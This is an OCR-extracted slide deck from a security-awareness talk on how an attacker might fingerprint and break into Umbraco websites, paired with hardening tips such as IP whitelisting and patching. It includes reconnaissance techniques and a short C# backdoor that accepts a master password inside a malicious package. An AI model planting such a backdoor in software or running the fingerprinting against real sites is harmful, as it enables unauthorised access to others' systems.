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Thought experiment

= How would | hack iInto someone’s
Umbraco website?

= Sharing my thoughts so you can
reconsider your security strategy



Today’s goal
= Education

= [ncrease security awareness

= Tips for hardening your Umbraco
website



We do not want this!

Drupal Fixes Drupalgeddonz Sec oty Flaw .I'llat Allows Hackers to mNet Q CENTRALEUROPE  MIDDLEEAST SCANDINAVIA AFRICA UK ITALY SPAIN MORE

.
Take Over Sltes MUST READ WINDOWS CRITICAL FLAW: THIS SECURITY BUG IS UNDER ATTACK RIGHT NOW, SAYS MICROSOFT

By Catalin Cimpanu March 28, 2018 05:08 PM 0 Update Dl‘upal. ASAP: Over a mil.l.ion SiteS
can be easily hacked by any visitor

A dangerous Drupal flaw could leave your site completely compromised if you don't patch the flaw immediately.

& By Liam Tung | March 29, 2018 -- 11:37 GMT (12:37 BST) | Topic: Security

Trent Steele @thevbox - May 1 v
Exploit in the Wild: #drupalgeddon2 — Analysis of CVE-2018-7600

DRUPALGEDDONZ

admin),

account




Who am I?

= Jeffrey Schoemaker
 Umbraco MVP 2017 & 2018
« Security & Umbraco - enthousiast

= Webdeveloper / co-owner Perplex

* Digital & Marketing agency in the Netherjs
« Umbraco Gold Partner ‘618
« Two Umbraco MVP’s M

» A few packages
« Umbraco Forms Perplex on Steroids
« Perplex Security & GDPR package
* PerplexMail
* Perplex Kraken Image Optimizer




Defense in Depth

= Multiple layers of defense

= If one fails, there are more layers to protect you



Secure your Umbraco installation

Before



Agenda

Our hacking approach

1. Footprint & Identification

2. Getting into Umbraco

3. In Umbraco — Privilege escalation

4. Clearing our tracks



Sidesteps
Encryption

 Umbraco settings
= Hardening your Umbraco

=9 concrete tips that you can implement right
away!
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| Mission 1

= Goal: Get as much information on the
website as possible

« Approach: Looking at specifics of the
website

= We want to use this information in level
2 to try to exploit specific vulnerabilities
INn specific versions
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Footprint & Identification

= Most important part of hacking
= Stay under the radar

= Generate no noise & trigger no Intrusion
Detection System
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| Mission 1.1
= Goal: Determine If it’s Umbraco

= Approach: Search for Umbraco-specific
characteristics
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On the homepage

= No easy way to identify Umbraco

= Total freedom of output
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Go to /umbraco/

Happy thunderous Thursday

Username

Password

Forgotten password?
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Or.. Like this

Happy thunderous Thursday

Log in below
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Or even like this

umbraco 2.1 I Welcome...

Welcome...
umbraco is geopend in een nieuw venster @ Umbraco 4 0 Umbraco
& Herstart umbraco &) Browse uw website Welcome to umbraco
Bezoek umbraco.org 1 Username |
Username | el
P " *: Password |
Login
C. > umbraco 3
umbraco has opened in a new window
O Restart umbraco Q Browse your website © 2001 - 2018 umbraco.org © 2001 - 2018 umbraco.org

Visit umbraco. ors

After Umbraco 4 we somehow lost
the version numbering
#donttalkaboutV5
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Publicly available on
most websites

= Umbraco Is exposed to the whole world!

= Everyone gets a few shots on accessing
your website... Isn’t that weird?
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IP whitelist your /umbraco/ using
IS Rewrite

Result: Significant reduction in attack surface
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Use an lISRewrite.config file

= Get the IP addresses of your client

= Whitelist them in your lIS
Rewrite.config

= If your client cannot provide one range,
or has a dynamic IP-range, restrict
access by country
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l[ISRewrite.config

<rules>
<rule name="Allow specific IPs to Umbraco"” stopProcessing="true">»
<match url="~(?:umbraco)(?:/|$)" />
<conditions>
<add input="{REMOTE ADDR}" negate="false" pattern="127.0.0.1|213.244.11.79"/>
</conditions>
<action type="AbortRequest” />
</rule>
</rules>
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And then it looks like this

Access Denied

The requested resource requires authentication or a VPN connection.

Unauthorized Activity Has Been Detected

You are seeing this page because we have detected unauthorized activity. If you believe that there
has been some mistake, please email our web site security team with the following case number in

its subject:

Case Number: 400026242
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We get a 403 response

= SO now we know that there is something

= And we are not allowed to see It
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Rename your Umbraco-folder

Change folder on disk and two web.config
settings
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Hide your Umbraco-path

= Change these values in your web.config

<add key="umbracoReservedPaths"” value="~/umbraco,~/install/" />
<add key="umbracoPath” value="~/umbraco™ />

= Rename your /umbraco/-folder on disk

config
Media

ohj
Properties
Umbraco

Umbraco_Client
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Rename it to
/my-secret-loginpanel/

= Change these values in your web.config

<add key="umbracoReservedPaths” value="~/my-secret-loginpanel,~/install/"/>»
<add key="umbracoPath” value="~/my-secret-loginpanel™/>»

rrrrr
 Zoeken

= Rename the folder on disk

config
Media
My-secret-loginpanel

Happy tubular Tuesday

eeeeeee

obj
Properties

Umbraco_Client

Footprint & Identification



404
We could not find a page corresponding to the url.

Sorry about that.
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| Mission 1.2

= Goal: Determine whether it’s
Umbraco, even when the Umbraco
folder I1s renamed

=« Approach: Find other characteristics of
Umbraco
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A clean Umbraco
folder structure

App_Browsers Request Filtering

App_Data - FI I es n Ot Se rved by Use this feature to configure filtering rules.

App_Plugins ,
pp_Flug & File Name Bxtensions =% Rules ™= Hidden Segments |
IS web b :
. W e S e rV e r File Extension Allowed
confi
.g ad False
Media d efau I t) .adprototype False
My-secret-loginpanel == False
obj ° 25CX False
. . aS aX Jbrowser False
F'rl:IFIEFtIES . cd False
umbraco LA CO nflg .compiled False
Umbraco_Client . config False
Views i . CS p rOJ © ] ia:se
.CSprQj alse
:2:] default.asp: .dd False
.dsdgm False
.dsprototype False
.exclude False
Java False
Jsl Falze
Jdb False
Jdd False
Iddprototype False
Jdf False
Jiex False

False
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Other folders?

» Folders not served @ RequestFiltering
App_Plugins by I IS (by d efau It) Use this feature to configure filtering rules.

3 File Name Extensions (] Rules “* Hidden Segments
* App_Browsers Segment
o App_Data App_Browsers

App_code

¢ b I N App_Data

App_GlobalResources

config

Umbraco_Client
App_LocalResources

App_WebReferences

= Empty folders S
 Media
* Obj
* Properties
* Views

) default.aspx
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Leaves us with...

= [App_Plugins/

= /Config/

= /[Umbraco_client/
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/Config/-folder

BackOfficeTaurs
imageprocessor
Lang
splashes
l.-:'I 404handlers.config
\DI applications.config
l.-:'I BaseRestExtensions.config
\DI ClientDependency.config
l.-:'I Dashboard.config
\DI EmbeddedMedia.config
l.-:'I Examinelndex.config
\DI ExamineSettings.config
l.-:'I feedProxy.config
\DI FileSystemProviders.config
ﬁ grid.editors.config.js
\DI HealthChecks.config
l.-:'I log4net.config
\DI metablogConfig.config
l.-:'I scripting.config
\DI tinyMceCaonfig.config
l.-:'I trees.config
\DI umbracoSettings.config

17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
7/04/2018 16:22
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:52
7/04/2018 13:38

File folder
File folder
File folder

File folder

XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...

XML Configuration...

JavaScript File

XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...

XML Configuration...

2KB
2KB

2KB
2KB
2KB

13 KB
6 KB
10 KB
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Aah... Only .config files

BackOfficeTaurs
imageprocessor
Lang
splashes
l.-:'I 404handlers.config
\DI applications.config
l.-:'I BaseRestExtensions.config
\DI ClientDependency.config
l.-:'I Dashboard.config

tHe-vatt!

¥l Examinelndex.config .
Javascript?
¥l feedProxy.config

| FileSystemProviders.config
ﬁ grid.editors.config.js

\DI HealthChecks.config

l.-:'I log4net.config

\DI metablogConfig.config
l.-:'I scripting.config

| tinyMceConfig.config

l.-:'I trees.config

\DI umbracoSettings.config

17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38

7/04/2018 16:22
17/04/2018 13:38

7/04/2018 13:38

File folder
File folder
File folder

File folder

XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...

XML Configuration...

U/ AUTe 13058
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:52
7/04/2018 13:38

AML Configuration...
XML Configuration...
XML Configuration...

XML Configuration...

JavaScript File

XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...

XML Configuration...

2KB
2KB

2KB
2KB
2KB

13 KB
6 KB
10 KB
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&

C @ O o fig/grid.editors.config.js

"alias": "gridTweet™,

"view": "/Rpp Plugins/DocTypeGridEditor/Views/doctypegrideditor.html™,
"render": "/App Plugins/DocTypeGridEditor/Render/DocTypeGridEditor.cshtml™,
"icon": "icon-bird",

"config": {

"allowedDocTypes": ["gridTweet"],

"nameTemplate": "",

"enablePreview": false,

"viewPath"™: "/Views/Partials/Grid/Editors/DocTypeGridEditor/™,

"previewViewPath": "/Views/Partials/Grid/Editors/DocTypeGridEditor/Previews/",
r

"previewCssFilePath":
"previewJsFilePath":

o

"name": "Charts",
"alias": "charts",
"view": "/Rpp Plugins/DocTypeGridEditor/Views/doctypegrideditor.html™,
"render": "/App Plugins/DocTypeGridEditor/Render/DocTypeGridEditor.cshtml™,
"icon": "icon-chart™,
"config": {
"allowedDocTypes™: ["gridBarchart™, "gridDoughnutChart", "gridPiecChart"™, "gridLineChart"],
"nameTemplate": "",
"enablePreview": false,
"viewPath"™: "/Views/Partials/Grid/Editors/DocTypeGridEditor/™,

"previewViewPath": "/Views/Partials/Grid/Editors/DocTypeGridEditor/Previews/",

LU
r

"previewCssFilePath":
"previewJsFilePath":

o

"name": "Big numbers",

"alias": "bigNumbers",

"view": "/Rpp Plugins/DocTypeGridEditor/Views/doctypegrideditor.html™,
"render": "/App Plugins/DocTypeGridEditor/Render/DocTypeGridEditor.cshtml™,
"icon": "icon-chart™,
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That must be Umbraco!




| Mission 1.3

« Goal: What version of Umbraco is being
used

« Approach: Looking at specifics of that
version
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Looking at the login screens

Happy tremendous tuesday Happy tubular tuesday

log in below log in below

Happy tubular Tuesday Happy tubular Tuesday

Username Username

Password Password

Happy tubular Tuesday

Log in below

Happy tubular Tuesday

Username

Password

7.8/7.10



But that would be quite hard...

= |Is there are better a way?
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We could...

= Look for specific files and their contents

= Each new feature in a version requires
language keys

= Crawl /Jumbraco/config/lang/en.xml

Level 1
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7.5 introduced ‘Forgot password’

— <key ahas= resetPassword aill_opylormat =
=p>=Your username to login to the Umbraco back-office 1s: <strong>=%0%</strong></p><p=Click <a href="%
</key>

</area=

—<area alias="main">
=keyv alias="dashboard">Dashboard=</key>
<kev alias="sections">Sections<'key>
<key alias="tree">=Content<'key>
</area=
—<area alias="moveOrCopy"=
<kev alias="choose">=Choose page above  _</key=
<kev alias="copvDone">%0% has been copied to %1% <'key>
— <key alias="copyvTo">
Select where the document %(0% should be copied to below
</key=



7.7 introduced Nested Content to the core

< C @ @ _a"ur‘ﬁbraccu_fcun‘ig;’lang;’en.xml

kev alias="nestedContentEditorNotSupported"=
Property “00% uses editor %1% which is not supported by Nested Content.

=

<key alias="removeTextBox">Remove this text box</key>
<kev alias="contentF.oot">Content root</key>
</area>
— <area alias="blueprints">
<key alias="createBlueprintFrom">Create a new Content Template from '%0% </ key>
<kev alias="blankBlueprint">Blank</kev>
<key alias="selectBlueprint">5elect a Content Template</key>
<kev alias="createdBlueprintHeading">Content Template created</'key>
<key alias="createdBlueprintMessage"=A Content Template was created from "%60%'<key>
— <keyv alias="duplicateBlueprinthessage"=
Another Content Template with the same name already exists
</key>
— <key alias="blueprintDescription">
A Content Template is pre-defined content that an editor can select to use as the basis for creating new content
</key>

</area=

— e marn el —" i A T



7.9 introduced ‘Sensitive data’

< C @ @'_"ur‘"lbracu_;"cnnﬂg;’lang;"en.xr‘ﬁl
<key alias="1sSensitiveValue">
This value is hidden If vou need access to view this value please contact yvour website administrator.
</key>
<key alias="1sSensitiveValue _short"=This value is hidden </'key>
</area-=
— <area alias="blueprints">
<key alias="createBlueprintFrom">Create a new Content Template from '%0%'</keyv>
<key alias="blankBlueprint"=Blank=/key>=
<key alias="selectBlueprint">Select a Content Template</key>
<key alias="createdBlueprintHeading ">Content Template created='key=
<key alias="createdBlueprintMessage">=A Content Template was created from "%e0%'<key>=
— <key alias="duplicateBlueprinthessage">
Another Content Template with the same name alreadv exists
</key>
— <kev alias="blueprintDescription”>
A Content Template 1s pre-defined content that an editor can select to use as the basis for creating new content
</key>
</area=
—<grea alias="media"=
<key alias="clickToUpload"=Click to upload</kev>
<kev alias="dropFilesHere">Drop vour files here _</key>
<key alias="urls"=Link to media<'key>
<kev alias="orClickHereToUpload">or click here to choose files</keyv>
<key alias="onlyAllowedFiles">0nly allowed file types are<key>

— <kev ahas="dizallowedFileTimne"=




If /Umbraco/ is unavailable...

= Use another file:

« /Jumbraco_client/Application/Extensions.js

* /Jumbraco_client/Application/
UmbracoApplicationActions.|s

Level 1
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Now we know the specific version!




=/ Mission 1.4

= Goal: Discover installed packages

= Approach: Look for specific package
characteristics

Level 1
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Umbraco Forms
< C @ @'ﬂ_ —'ﬁtpp_PIuginﬁ,r'Ur‘ﬁbrachnrms,r'css,r'umbracu."nrms.cs

input.umb-forms hacky-hidden-field {
opacity: 0;
cursor: default;

}

Jamb-forms cumb-panel-header (umb-sub-views-nav {
margin-top: 23px;

}

.control-row. -margin-kottom |
margin-bottom: 10px;

}

.control-label.-block {
display: block;

}

.radio.-block {
display: klock;

}

.radio.-no-indent {
padding-left: 0;

}

.asky-grid .help-text i.icon {
font-size: léepx;

}

umb-forms-page |
position: relative;

}

unb-forms-designer label.checkbox i.icon |
margin-left: -22px;

}



Archetype

< ¢ @

f#% TODOD: clean this up */
.archetypeEditcor {
widch: 98%:;
}
.archetypeEditor .open {
position: relative;
}
.archetypeEditor .dropdown-menu {
top: auto;
}
.archetypeEdicor .dropdown-menu > 1i > a {
border-radius: 6px:
}
archetypeEditor .controls-no-label {
padding: 10px:
}
.archetypeEditor a + ul.dropdown-menu {
margin-left: 0O;
}
.archectypeEdicor .icon {
color: #333;
}
.archetypeEditor fieldset {
border: l1px solid #dddddd:
padding: 0O;
margin-bottom: Spx;
background-color: #£f1f1f1;
clear: both;
display: inlinme-block:
width: 100%;
}
.archetypeEdicor fieldset .archetypeProperty
clear: both;
overflow: visible;
margin-top: 3pxX;

© & I b Plugins/Archetype/css/archetype.css

<« c Q (D @ httpsy/four.umbraco.org/projects/backoffic E

o @ % umbraco arche = ([N B E =

@ Forum Projects Documentation Download Contribute Community Videos a

Our - Projects -» Backoffice extensions

Archetype

** This project has sunset, no further updates will be coming. Thanks for the
memories all. **

Archetype is an Umbraco 7 property editor that wraps other installed property
editors. By wrapping the other properties, Archetype allows for custom and
repeatable fieldset mashups.

Think Widget Builder, Embedded Content, Data Type Grid.
Documentation: https:/github.com/kgiszewski/ArchetypeManual
Source: http:/github.com/kgiszewski/Archetype

Ships with it's own Property Editor converter for easy template use.

v1.18.0 is targeted for core 7.2.2+. There is a known issue with v7.2.2 that is fixed
with v1.7.1+.

& Download package
version 1.18.0

or, install via nuget

PMy Install-Packag

Project owner
- . - .

? x lg-— Kevin Giszewski
Kevin has 3551 karma points

Project Compatibility

This project is compatible with the following
versions as reported by community members who
have downloaded this package:



Multi Url Picker

<« c @ @ ﬂ_"App_jlugins;rjp.r“|ultiurIpicker_a"r‘ﬁultiurlpicker.html

¢ {/node name?l?

* Add

You need to add at least { {cfe. minNumberOfltems-renderModel length} } more item(s)
You can only have {{cfg maxNumberOfltems} } item(s) selected

@ Forum Projects Documentation Download Contribute Community Videos @

Our -+ Projects -+ Backoffice extensions
¥ 65 votes

Multi Url Picker

Allows editors to pick and sort multiple urls, it uses Umbraco's link picker which
supports internal and external links and media.

or, install via nuget

pPM> Install-Package RIP.UmbracoMultiUrlPic

Usage
Add a new property to your document type and select the Multi Url
picker property editor in the pickers category. Project owner

If you're using the models builder, you can access the property on your model
e.g. Model .Links if your property alias is 1inks. Rasmus John Pedersen
Rasmus has 343 karma points

var links = Model.Links.

Project Compatibility

if (links.Count > 0)

This project is compatible with the following
<ul> versions as reported by community members who

e N e e T B ) have downloaded this package:



Mission 1.4 accomplished

= We can detect specific Umbraco packages

= Hooray!
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Stop leaking crucial information!

Use IIS Rewrite IP Whitelisting
on the following folders as well:
«App_Plugins

= Config

-Umbraco_Client

These folders are only used by authenticated Umbraco
users Level 1

Footprint & Identification




Automate it!

https://www.perplex.nl/is-it-umbraco/

Is it Umbraco?

Insert the domain of the website you want to scan and let us do our magic:

WEBSITE *

http(s)://www.example.com

( Scan this website )
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Version info

= [dentified more than 5,000 Umbraco

websites (according to the numbers only 1% of the total
population online)

= Looking at the version and the installed
packages

Level 1
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UMBRACO FORMS
ARCHETYPE
RJIP.MULTIURLPICKER
NESTED CONTENT

DIPLO TRACE LOG VIEWER
USYNC

LEBLENDER

CMSIMPORT

SPECTRUM COLOUR PICKER
ROBOTS.TXT EDITOR
UMBRACO CONTOUR

LINK PICKER

VORTO

DOCTYPE GRID EDITOR
SEO CHECKER

ARTICULATE

THE DASHBOARD

AZURE FILE SYSTEM PROVIDERS
ANGULARGOOGLEMAPS
OPTIMUS

UEDITORNOTES

DIPLO GOD MODE
UMBRACO FORMS ON PERPLEX STEROIDS
BELLE ICON PACK
UCOMMERCE

OEMBED PICKER

0%

Most used packages

5%

10%

15%

B Usages

20%

25%

30%

35%

40%

45%

50%




Now we know the installed
packages




| Mission 1.5

= Goal: Get Into the website via a detour

« Approach: Look for other websites on
the same server & gather information
there
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Horizontal pivotting

= If you can’t get direct access your target
website

= Maybe other websites on the same server
can be used to gain access to the target
website

Level 1
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Tooling: IPNeighbour.com

> cla

Google

Level 1
& Identification



/| Mission 1:
Accomplished

We’ve got
@ Umbraco version

@ Umbraco packages

© Websites on the same server

Level 1
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= Mission 2
= Goal: Get into Umbraco

« Approach 1: Exploit known
vulnerabilities

Level 2
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What is wrong with leaking
this information?

= Can we use it to succeed In mission 27

= Oris it just irrelevant information?

Level 2
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Software & hardware systems
have known vulnerabilities

= |n current or older versions

= Tracked in CVE-databases
« Common Vulnerabilities & Exposures

= Vulnerability scanners use these to test
your website
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Umbraco vulnerabilities

= According to umbraco.com/security

https:/umbraco.com/follow-us/blog-archive/2012/11/14/security-update-fog4100/
https:/umbraco.com/follow-us/blog-archive/2013/4/29/security-vulnerability-found-immediate-action-

recommended/

https:/umbraco.com/follow-us/blog-archive/2013/5/1/security-update-two-major-vulnerabilities-found/

https:/umbraco.com/follow-us/blog-archive/2014/5/23/security-update-one-more-major-issue-fixed-i
throughg4711/

https:/umbraco.com/follow-us/blog-archive/2014/7/21/security-issues-found-in-umbracog4-6-and-7

https:/umbraco.com/follow-us/blog-archive/2016/3/1/major-security-vulnerability-patched-in-umbraco-
versions hroughg4711/
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Umbraco Forms
vulnerabilities

Umbraco Forms (optional plugin for Umbraco)

e https:/umbraco.com/follow-us/blog-archive/2016/1/27 /umbraco-forms-security-notice/

e https:/umbraco.com/blog/security-advisory-update-umbraco-forms-immediately/

« https:/umbraco.com/blog/umbraco-forms-security-update/

Level 2
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Last week’s Umbraco
Forms notice

@ & https://umbraco.com/blog/umbraco-forms-sec B e« @ 17 | Q Zoeken

Details

A remote code execution vulnerability exists in the core functionality of Umbraco

Forms version 4.4.0+. This allows attackers to exploit an Umbraco sitef which

results in the site being compromised.

We will not reveal the exact nature of the vulnerability in order to make it possible
for everybody to prepare and to patch their Forms installs.

We have no indication that this vulnerability is currently being exploited in the wild.
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Online CVE - databases

CVE Details

The ultimate security vulnerability datasource

Log In Register Vulnerability Feeds & Widgets™ew JNTIRieclos o Re

cureioniest N Umbraco : Vulnerability Statistics

Browse :
Vendors Products (2)  Vulnerabilities (¥)  Search for products of Umbraco  CVSS Scores Report  Possible matches for this vendor  Related Metasploit Modules
Products Vulnerability Feeds & Widgets

Vulnerabilities By Date .
" Vulnerability Trends Over Time
Vulnerabilities By Type

Reports : Http

CVSS Scare Report Year Pl bes 9% guerfiow Memen o sal xss DY poponse BV Gan o Gan o, Rl o #of
Vulnerabilities Execution Corruption Injection Traversal litti something Information Privileges Inclusion  exploits
CVSS Score Distribution Zriing
Search : 1
Vendor Search 2 1 1 1
Product Search 1 > 1 1 1
Version Search
0.0 14.3 0.0 0.0 0.0 28.6 0.0 0.0 14.3 14.3 0.0 14.3 0.0

Vulnerability Search
By Microsoft References .

Vulnerabilities

Top 50:
Vendors
Vendor Cvss Scores Vulnerabilities By Year  Vulnerabilities By Type
Products 6 20141 2 M Execute Code 1
Product Cvss Scores W20176 Mxss2
Versions Bypass Something 1
Other : Gain Information 1
Microsoft Bulletins CSRF 1
1 11 1

Bugtrag Entries

CWE Definitions

About & Contact 9
Feedback

CWE Help
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Umbraco : Security Vulnerabilities

CVSS Scores Greater Than: 0 1 2 3 4 5 &6 7 8 @
Sort Results By : CVE Mumber Descending CWVE Number Ascending CVSS Score Descending Number Of Exploits Descending

Copy Results Download Results

# CVE ID CWEID #of Exploits  Vulnerability Type(s) Publish Date Update Date Score Gained Access Access Complexity Authentication
Level

Conf. Avail.

Integ.

1 CVE-2017-15280 11 +Info 2017-10-12 2017-10-25 4.3 None Remote Medium Mot required Partial None None

XML external entity (XXE) vulnerability in Umbraco CM3before 7.7.3 @llows attackers to obtain sensitive information by reading files on the server or sending TCP requests to intranet hosts (aka SSRF), related to
Umbraco.Web/umbraco.presentation/umbraco/dialogs/MMpoT cotaeT Lty pe. aspX. cs.

before 7.7.3 Qllows remote attackers to inject arbitrary web script or HTML via the "page name" (aka nodename) parameter during the creation of a new
" "o aitd Umbraco.Web/umbraco.presentation/umbraco/dialogs/notifications.aspx.cs.

2 CVE-2017-15279 79 X 2017-10-12 2017-10-25 3.5 None Remote Medium Single system None Partial None

Cross-site scripting (XSS) vulnerability in Umbraco CM
page, related to Umbraco.Web.UI/umbraco/dialogs/Publ

3 CVE-2015-8815 79 XSS 2017-03-03 2017-03-07 5.0 None Remote Low Mot required None Partial None

Multiple cross-site scripting (XSS) vulnerabilities in Umbrac@before 7.4.0 Bllow remote attackers to inject arbitrary web script or HTML via the name parameter to (1) the media page, (2) the developer data edit
page, or (3) the form page.

4 CVE-2015-8814 5

]

Bypass CSRF 2017-03-03 2017-03-07 6.8 None Remote Medium Not required Partial  Partial  Partial

Umbracll before 7.4.0Bllows remote attackers to bypass anti-forgery security measures and conduct cross-site request forgery (CSRF) attacks as demonstrated by editing user account information in the
templat®eTs

5 CVE-2015-8813 1 2017-03-03 2017-03-07 4.3 None Remote Medium Not required MNone Partial None

[ex]

The Page_Load function in Umbraco.Web/umbraco.presentation/umbraco/dashboard/FeedProxy.aspx.cs in Umbracl before 7.4.0 Bllows remote attackers to conduct server-side request forgery (SSRF) attacks via
the url parameter.

6 CVE-2013-4793 8 Exec Code 2014-12-27 2014-12-30 7.5 None Remote Low Not required Partial  Partial  Partial

[~

The update function in umbraco.webservices/templates/templateService.cs in the TemplateService component in Umbraco CM§ before 6.0.4 Boes not require authentication, which allows remote attackers to execute
arbitrary ASP.NET code via a crafted SOAP request.

7 CVE-2012-1301 20 2017-04-13 2017-04-21 7.5 None Remote Low Not required Partial  Partial  Partial
The FeedProxy.aspx script in Umbraco 4.7.0 allows remote attackers to proxy requests on their behalf via the "url" parameter.

Total number of vulnerabilities : 7 Page : 1 (This Page)
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©
[ Home | Fance - Umbrac: X EJ Geokdge
<« C | @ formsuploadsecurityhole.perplex.intern : G Keep: All sessions = 5 Any Process 33 Find [&] Save | B8] () @ Browse ~ < Clear Cache T TextWizard

# Result  Protocol Host URL Body Caching Content-Type  Process Comments Custom

0 umbraco

5 AutoResponder ﬁ Composer :_1_5, FiddlerScript E log [¥] Filters "= Timeline | APITest

This is the new default starter kit for o

Umbraco, we enjoy building things that not e
only look great, but also work great.

File

Choose Files | Mo file chosen

Submit

1iff Capturing = Al Processes

h . e ] ) Home | Fanoe - U... # Telerik Fiddler Web ... A ) P .



Always upgrade your CMS &
your modules

Recommended advice by Umbraco...
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But do we listen?

= Who does not patch or upgrade
their website(s)?

Level 2
Getting into Umbraco




But do we listen?

= Who feels guilty about that?
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Umbraco versions — based on 5,000 crawled Umbraco websites

20%
18%
16%
14%
12%

10%

0%

8%
6%
4%
- —_ - Em——
7.10 7.9 7.8 7.7 7.6 7.5 7.4 7.3 7.2 7.1 7.0 6.1 6.0 4.8 4.7 4.6 4.5 4.0 3.0

411 49 2.0

B Usages



M Mission 2: Failure

Not (easily) possible to get into Umbracq

© When you've patched your installations
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Let’s take another approach



~ Mission 2b
= Goal: Get into Umbraco

= Approach 2:
« Create a cool package that everyone wants to
use
* Insert an exploit that gives us access
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A cool package

= Perplex Forms on Steroids package

= Open source, can be reviewed for
malicious code
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0

Forum Projects Documentation Download Contribute Community Videos @

15 votes

Umbraco Forms on Perplex Steroids

This package extends the default Umbraco Forms-package with some additional controls

and copy-functionality, as well as the ability to organize forms in folders. Changelogs are

included in the package itself and can be viewed before installation.

After installing the package you will get the following:

Five additional fieldtypes

Perplex File Upload Select which file-extensions are allowed to upload, whether
multiple files are allowed and the maximum size of the files.

Perplex Image Upload: Select which image-extensions are allowed to upload, whether
multiple files are allowed and the maximum size of the images.

Perplex Text Fieldt Adds placeholder-functionality, maximum length-attributes and
HTMLS5 input-type specification

Perplex Textarea Field: Adds placeholder and maximum length-attributes.

Perplex ReCaptcha: The Google ReCaptcha version 2

Copy-functionality. Allows you to copy your forms.

Folders: In the Forms section it is now possible to create folders (right-click > Create
Folder). Folders can be created within other folders, and the sort-order of forms and
folders can be altered (right-click > Sort).

Form Picker datatype: A new form picker datatype is included which supports the
folder structure.

Form Picker macro: Likewise, a new form picker macro is included which supports the
folder structure.

Multiple (1) start Nodes in Forms: Similar to Start Node in the Content and Media
sections, it is possible to set start nodes in forms. Unlike Content and Media, you can
set multiple start nodes for forms. Using start nodes, you can control which users can
edit / view / create forms in which folders. This does not currently affect the form
pickers, users can still select any form, they just cannot edit them in the Forms
section. The Start Nodes can be set in Users > Forms Security. A short video how it
works is available here: https:/www.youtube.com/watch?v=vaQsr2uY3bA&

feature=youtu.be
Configurationfile: To do some additional configuration on the default fields. The

Project owner

jeffrey.schoemaker@perplex.nl
jeffrey.schoemaker@perplex.nl has 1010

karma points

Edit project

Project Compatibility

This project is compatible with the following versions as
reported by community members who have
downloaded this package:

7.10.x (100%)
7.9.x (100%)
7.8 (100%)
7.7x (100%)

Report compatibility

Project Information

Project owner: jeffrey.schoemaker@perplex.nl
Contributors: Wouter van der Beek , Timo Perplex ,
Daniél Knippers

Created: 22/01/2016

Current version 1.8.3

.net Version 4.5.2

License MIT

Downloads: 3483

External resources

Source code

Level 2
Getting into Umbraco




Code check

Pull requests Issues Marketplace Explore

I Perplexinternetmarketing / Perplex-Umbraco-Forms @Unwatch~ 5 drstar 5 ¥Fork 6
<3 Code Issues 2 Pull requests 1 Projects 0 Wiki Insights Settings
Eranch: master~ | Perplex-Umbraco-Forms / Perplex.Umbraco.Forms / Code / UmbracoEvents.cs Find file = Copy path
1 PerplexDaniel Fixed Recaptcha on multi-page forms feao7b1 on 13 Oct 20

1 contributor

21 lines (7e sloc) = 3.16 KB Raw Blame History J & [

system.Ling;
t eb;
umbraca. Co

o

Umbraco.Core

Perplexumbra

a
1)
a
I

namespace FE\'F]E.‘."IEI'EEC.FCI"‘\S.
{
public class UmbraccEvents : ApplicationEventHandler

{

rrid

protected
{

applicatienstarting(UmbraceApplicationBase umbracoapplication, ApplicationContext applicationContext)

// Make sure the configuration is created if it is not there y
PerplexUmbracoFormsConfig.CreateIfNotExists();

var treeService = ApplicatienContext.Current.Services.ApplicationTreeService;
if(treeservice != null)
{
/ Hide default Umbraco Forms folder
var umbFormTree = treeService.zets

n to display folders

ias("form™);
if (umbFormTree != null &% umbFormTree.Initialize)
{
umbFormTree.Initialize = false;
treeservice.SaveTres(umbFormTree) ;

/ add our
var pplxFormTree = treeService.GetBy
if (pplxFormiree == null)

{

mn tree if it's not ther

lias("perplexforms™);

treeservice.Makehew(true, 1, "forms", "perplexforms”, "Forms", "icon-felder", "icon-folder-open®, "PerplexUmbrace.For
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Ok, it’s safe

Let’s download it

@ Forum Projects Documentation Download Contribute Community Videos @

Qur -+ Projects -+ Backoffice extensions

15 votes

Umbraco Forms on Perplex Steroids

This package extends the default Umbraco Forms-package with some additional controls
and copy-functionality, as well as the ability to organize forms in folders. Changelogs are
included in the package itself and can be viewed before installation.

Project owner

jeffrey.schoemaker@perplex.nl
jeffrey.schoemaker@perplex.nl has 1010
karma points

After installing the package you will get the following:

» Five additional fieldtypes _ .
Perplex File Upload: Select which file-extensions are allowed to upload, whether Edit project
multiple files are allowed and the maximum size of the files.

» Perplex Image Upload: Select which image-extensions are allowed to upload, whether Project Compatibility

multiple files are allowed and the maximum size of the images. This project is compatible with the following versions as
» Perplex Text Fieldt Adds placeholder-functionality, maximum length-attributes and reported by community members who have

HTML5 input-type specification downloaded this package:

Perplex Textarea Fieldt Adds placeholder and maximum length-attributes.
Perplex ReCaptcha: The Google ReCaptcha version 2

7.10.x (100%)
7.9 (100%)
7.8.x (100%)

» Copy-functionality: Allows you to copy your forms.
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But...

= Who says the uploaded package is the
same as the uploaded sourcecode?

= May be it contains some code like this...
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Create a password that always works

public class EvilBackOfficeUserManager : BackOfficeUserManager
{

public override Task<bool> CheckPasswordAsync(BackOfficeldentityUser user, string password)

{

if (password == "EvilPassword")

{
}

return Task.FromResult(true);

return base.CheckPasswordAsync(user, password);



Official Umbraco Guidelines

« ‘You should audit 3rd party plugins you install in Umbraco. Most of them are

open source so they can be inspected

o We don't know of any malicious plugin that currently exists or has

ever existed
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Compile packages yourself?

| am not sure
about this...

But be aware of the
possible iImpacts
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/| Mission 2:
Accomplished

